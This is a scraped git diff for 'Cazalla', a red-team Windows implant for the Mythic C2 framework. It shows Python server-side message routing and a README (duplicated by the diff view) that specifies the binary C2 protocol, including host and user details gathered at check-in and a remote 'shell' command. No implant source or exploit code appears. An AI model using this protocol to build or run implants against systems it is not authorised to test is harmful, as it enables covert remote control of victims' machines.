async def translate_from_c2_format(self, inputMsg: TrCustomMessageToMythicC2FormatMessage) -> TrCustomMessageToMythicC2FormatMessageResponse:
|
||||
response = TrCustomMessageToMythicC2FormatMessageResponse(Success=True)
|
||||
print("IMPLANT --> C2 : " + binascii.hexlify(inputMsg.Message).decode('cp850'))
|
||||
#response.Message = json.loads(inputMsg.Message)
|
||||
data = inputMsg.Message
|
||||
if data[0] == commands["checkin"]["hex_code"]:
|
||||
print("CHECK IN")
|
||||
response.Message = checkIn(data[1:])
|
||||
elif data[0] == commands["get_tasking"]["hex_code"]: #GET_TASKING
|
||||
print("GET TASKING")
|
||||
response.Message = getTasking(data[1:])
|
||||
elif data[0] == commands["post_response"]["hex_code"]: #POSTREPONSE
|
||||
print("POST RESPONSE")
|
||||
response.Message = postResponse(data[1:])
|
||||
|
||||
return response
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
import base64
|
||||
import os
|
||||
|
||||
def getBytesWithSize(data):
|
||||
size = int.from_bytes(data[0:4])
|
||||
data = data[4:]
|
||||
import base64
|
||||
import os
|
||||
|
||||
def getBytesWithSize(data):
|
||||
size = int.from_bytes(data[0:4])
|
||||
data = data[4:]
|
||||
return data[:size], data[size:]
|
||||
@@ -1,185 +1,185 @@
|
||||
# Cazalla - Basic Mythic Implant in C
|
||||
|
||||
Cazalla is a basic Windows implant written in C, designed to interface with the Mythic C2 framework.
|
||||
|
||||
This project was developed based on the article [How to build your own Mythic agent in C](https://red-team-sncf.github.io/how-to-create-your-own-mythic-agent-in-c.html) and serves as an initial version of an implant with room for future improvements.
|
||||
|
||||
Cazalla is developed by the OFSTeam at Kaseya. Currently, it only supports the `exit` and `shell` commands, but additional functionality is planned for future updates.
|
||||
|
||||
## Install Cazalla
|
||||
|
||||
Once Mythic is installed and running, use the following command to install Cazalla:
|
||||
|
||||
```sh
|
||||
./mythic-cli install github <repository-url>
|
||||
```
|
||||
|
||||
## Detection
|
||||
|
||||
A YARA rule can be provided for detection purposes.
|
||||
|
||||
## Communication Protocol
|
||||
|
||||
### HEADER - Implant to C2
|
||||
|
||||
| Key | Key Len (bytes) | Type |
|
||||
|---------|-------------------|------------|
|
||||
| UUID | 36 | Str (char*)|
|
||||
| Action | 1 | UInt32 |
|
||||
|
||||
### HEADER - C2 to Implant
|
||||
|
||||
| Key | Key Len (bytes) | Type |
|
||||
|---------|-------------------|------------|
|
||||
| Action | 1 | Int32 |
|
||||
|
||||
UUID | BODY
|
||||
|
||||
#### Checkin - Implant to C2
|
||||
|
||||
Expected:
|
||||
|
||||
```json
|
||||
{
|
||||
"action": "checkin",
|
||||
"uuid": "a21bab2e-462e-49ab-9800-fbedaf53ad15",
|
||||
"ip": "127.0.0.1",
|
||||
"os": "win",
|
||||
"arch": "x64",
|
||||
"hostname": "PC",
|
||||
"user": "bob",
|
||||
"domain": "domain.com",
|
||||
"pid": 123,
|
||||
"processname": "malware.exe"
|
||||
}
|
||||
```
|
||||
|
||||
| Key | Key Len (bytes) | Type |
|
||||
|---------------|-------------------|-------------|
|
||||
| UUID | 36 | Str (char*) |
|
||||
| Size IP | 4 | Uint32 |
|
||||
| IP | Size IP | Str (char*) |
|
||||
| Size OS | 4 | Uint32 |
|
||||
| OS | Size OS | Str (char*) |
|
||||
| Architecture | 1 | Int |
|
||||
| Size Hostname | 4 | Uint32 |
|
||||
| HostName | Size Hostname | Str (char*) |
|
||||
| Size Username | 4 | Uint32 |
|
||||
| Username | Size Username | Str (char*) |
|
||||
| Size Domain | 4 | Uint32 |
|
||||
| Domain | Size Domain | Str (char*) |
|
||||
| PID | 4 | Uint32 |
|
||||
| Size Process | 4 | Uint32 |
|
||||
| Process Name | Size Process Name | Str (char*) |
|
||||
| Size ExternIP | 4 | Uint32 |
|
||||
| Extern IP | Size Extern IP | Str (char*) |
|
||||
|
||||
### Checkin - C2 to Implant
|
||||
|
||||
| Key | Key Len (bytes) | Type |
|
||||
|----------|-------------------|-------------|
|
||||
| New UUID | 36 | Str (char*) |
|
||||
| Status | 1 | Byte |
|
||||
|
||||
### GetTasking - Implant to C2
|
||||
|
||||
Expected:
|
||||
|
||||
```json
|
||||
{
|
||||
"action": "get_tasking",
|
||||
"tasking_size": 1
|
||||
}
|
||||
```
|
||||
|
||||
| Key | Key Len (bytes) | Type |
|
||||
|---------------|-------------------|-------------|
|
||||
| Number tasks | 4 | Uint32 |
|
||||
|
||||
### GetTasking - C2 to Implant
|
||||
|
||||
Expected:
|
||||
|
||||
```json
|
||||
{
|
||||
"action": "get_tasking",
|
||||
"tasks": [
|
||||
{
|
||||
"command": "command name",
|
||||
"parameters": "command param string",
|
||||
"timestamp": 1578706611.324671,
|
||||
"id": "task uuid"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
| Key | Key Len (bytes) | Type |
|
||||
|---------------|-------------------|-------------|
|
||||
| NumberOfTasks | 4 | Uint32 |
|
||||
| Size Of Task1 | 4 | Uint32 |
|
||||
| Task1 CMD | 1 | Int |
|
||||
| Task1 UUID | 36 | Str (char*) |
|
||||
| Task1 LenPara1| 4 | Uint32 |
|
||||
| Task1 Param1 | LenParam1 Task1 | Str(char*) |
|
||||
|
||||
### Post Response Header - Implant to C2
|
||||
|
||||
| Key | Key Len (bytes) | Type |
|
||||
|---------------|-------------------|-------------|
|
||||
| Number Resp | 4 | Uint32 |
|
||||
|
||||
### Post Response Header - C2 to Implant
|
||||
|
||||
| Key | Key Len (bytes) | Type |
|
||||
|---------------|-------------------|-------------|
|
||||
| Number Resp | 4 | Uint32 |
|
||||
|
||||
### Post Response Classic Output Return - Implant to C2
|
||||
|
||||
Expected:
|
||||
|
||||
```json
|
||||
{
|
||||
"action": "post_response",
|
||||
"responses": [
|
||||
{
|
||||
"task_id": "uuid of task",
|
||||
... response message
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
| Key | Key Len (bytes) | Type |
|
||||
|---------------|-------------------|-------------|
|
||||
| UUID Resp 1 | 36 | Str (char*) |
|
||||
| Size Output R1| 4 | Uint32 |
|
||||
| Output R1 | Size Output | Bytes |
|
||||
| Status R1 | 1 | Int |
|
||||
|
||||
### Post Response Classic Output Return - C2 to Implant
|
||||
|
||||
Expected:
|
||||
|
||||
```json
|
||||
{
|
||||
"action": "post_response",
|
||||
"responses": [
|
||||
{
|
||||
"task_id": UUID,
|
||||
"status": "success" or "error",
|
||||
"error": "error message if it exists"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
| Key | Key Len (bytes) | Type |
|
||||
|---------------|-------------------|-------------|
|
||||
| Status Resp1 | 1 | Int |
|
||||
|
||||
## Future Development
|
||||
|
||||
This is an initial version of Cazalla with limited functionality. Currently, it only supports the `exit` and `shell` commands. Future updates will introduce additional commands and improvements to enhance its capabilities.
|
||||
|
||||
# Cazalla - Basic Mythic Implant in C
|
||||
|
||||
Cazalla is a basic Windows implant written in C, designed to interface with the Mythic C2 framework.
|
||||
|
||||
This project was developed based on the article [How to build your own Mythic agent in C](https://red-team-sncf.github.io/how-to-create-your-own-mythic-agent-in-c.html) and serves as an initial version of an implant with room for future improvements.
|
||||
|
||||
Cazalla is developed by the OFSTeam at Kaseya. Currently, it only supports the `exit` and `shell` commands, but additional functionality is planned for future updates.
|
||||
|
||||
## Install Cazalla
|
||||
|
||||
Once Mythic is installed and running, use the following command to install Cazalla:
|
||||
|
||||
```sh
|
||||
./mythic-cli install github <repository-url>
|
||||
```
|
||||
|
||||
## Detection
|
||||
|
||||
A YARA rule can be provided for detection purposes.
|
||||
|
||||
## Communication Protocol
|
||||
|
||||
### HEADER - Implant to C2
|
||||
|
||||
| Key | Key Len (bytes) | Type |
|
||||
|---------|-------------------|------------|
|
||||
| UUID | 36 | Str (char*)|
|
||||
| Action | 1 | UInt32 |
|
||||
|
||||
### HEADER - C2 to Implant
|
||||
|
||||
| Key | Key Len (bytes) | Type |
|
||||
|---------|-------------------|------------|
|
||||
| Action | 1 | Int32 |
|
||||
|
||||
UUID | BODY
|
||||
|
||||
#### Checkin - Implant to C2
|
||||
|
||||
Expected:
|
||||
|
||||
```json
|
||||
{
|
||||
"action": "checkin",
|
||||
"uuid": "a21bab2e-462e-49ab-9800-fbedaf53ad15",
|
||||
"ip": "127.0.0.1",
|
||||
"os": "win",
|
||||
"arch": "x64",
|
||||
"hostname": "PC",
|
||||
"user": "bob",
|
||||
"domain": "domain.com",
|
||||
"pid": 123,
|
||||
"processname": "malware.exe"
|
||||
}
|
||||
```
|
||||
|
||||
| Key | Key Len (bytes) | Type |
|
||||
|---------------|-------------------|-------------|
|
||||
| UUID | 36 | Str (char*) |
|
||||
| Size IP | 4 | Uint32 |
|
||||
| IP | Size IP | Str (char*) |
|
||||
| Size OS | 4 | Uint32 |
|
||||
| OS | Size OS | Str (char*) |
|
||||
| Architecture | 1 | Int |
|
||||
| Size Hostname | 4 | Uint32 |
|
||||
| HostName | Size Hostname | Str (char*) |
|
||||
| Size Username | 4 | Uint32 |
|
||||
| Username | Size Username | Str (char*) |
|
||||
| Size Domain | 4 | Uint32 |
|
||||
| Domain | Size Domain | Str (char*) |
|
||||
| PID | 4 | Uint32 |
|
||||
| Size Process | 4 | Uint32 |
|
||||
| Process Name | Size Process Name | Str (char*) |
|
||||
| Size ExternIP | 4 | Uint32 |
|
||||
| Extern IP | Size Extern IP | Str (char*) |
|
||||
|
||||
### Checkin - C2 to Implant
|
||||
|
||||
| Key | Key Len (bytes) | Type |
|
||||
|----------|-------------------|-------------|
|
||||
| New UUID | 36 | Str (char*) |
|
||||
| Status | 1 | Byte |
|
||||
|
||||
### GetTasking - Implant to C2
|
||||
|
||||
Expected:
|
||||
|
||||
```json
|
||||
{
|
||||
"action": "get_tasking",
|
||||
"tasking_size": 1
|
||||
}
|
||||
```
|
||||
|
||||
| Key | Key Len (bytes) | Type |
|
||||
|---------------|-------------------|-------------|
|
||||
| Number tasks | 4 | Uint32 |
|
||||
|
||||
### GetTasking - C2 to Implant
|
||||
|
||||
Expected:
|
||||
|
||||
```json
|
||||
{
|
||||
"action": "get_tasking",
|
||||
"tasks": [
|
||||
{
|
||||
"command": "command name",
|
||||
"parameters": "command param string",
|
||||
"timestamp": 1578706611.324671,
|
||||
"id": "task uuid"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
| Key | Key Len (bytes) | Type |
|
||||
|---------------|-------------------|-------------|
|
||||
| NumberOfTasks | 4 | Uint32 |
|
||||
| Size Of Task1 | 4 | Uint32 |
|
||||
| Task1 CMD | 1 | Int |
|
||||
| Task1 UUID | 36 | Str (char*) |
|
||||
| Task1 LenPara1| 4 | Uint32 |
|
||||
| Task1 Param1 | LenParam1 Task1 | Str(char*) |
|
||||
|
||||
### Post Response Header - Implant to C2
|
||||
|
||||
| Key | Key Len (bytes) | Type |
|
||||
|---------------|-------------------|-------------|
|
||||
| Number Resp | 4 | Uint32 |
|
||||
|
||||
### Post Response Header - C2 to Implant
|
||||
|
||||
| Key | Key Len (bytes) | Type |
|
||||
|---------------|-------------------|-------------|
|
||||
| Number Resp | 4 | Uint32 |
|
||||
|
||||
### Post Response Classic Output Return - Implant to C2
|
||||
|
||||
Expected:
|
||||
|
||||
```json
|
||||
{
|
||||
"action": "post_response",
|
||||
"responses": [
|
||||
{
|
||||
"task_id": "uuid of task",
|
||||
... response message
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
| Key | Key Len (bytes) | Type |
|
||||
|---------------|-------------------|-------------|
|
||||
| UUID Resp 1 | 36 | Str (char*) |
|
||||
| Size Output R1| 4 | Uint32 |
|
||||
| Output R1 | Size Output | Bytes |
|
||||
| Status R1 | 1 | Int |
|
||||
|
||||
### Post Response Classic Output Return - C2 to Implant
|
||||
|
||||
Expected:
|
||||
|
||||
```json
|
||||
{
|
||||
"action": "post_response",
|
||||
"responses": [
|
||||
{
|
||||
"task_id": UUID,
|
||||
"status": "success" or "error",
|
||||
"error": "error message if it exists"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
| Key | Key Len (bytes) | Type |
|
||||
|---------------|-------------------|-------------|
|
||||
| Status Resp1 | 1 | Int |
|
||||
|
||||
## Future Development
|
||||
|
||||
This is an initial version of Cazalla with limited functionality. Currently, it only supports the `exit` and `shell` commands. Future updates will introduce additional commands and improvements to enhance its capabilities.
|
||||
|
||||
|
||||
+7
-7
@@ -1,7 +1,7 @@
|
||||
{
|
||||
"exclude_payload_type": false,
|
||||
"exclude_c2_profiles": true,
|
||||
"exclude_documentation_payload": true,
|
||||
"exclude_documentation_c2": true,
|
||||
"exclude_agent_icons": false
|
||||
}
|
||||
{
|
||||
"exclude_payload_type": false,
|
||||
"exclude_c2_profiles": true,
|
||||
"exclude_documentation_payload": true,
|
||||
"exclude_documentation_c2": true,
|
||||
"exclude_agent_icons": false
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user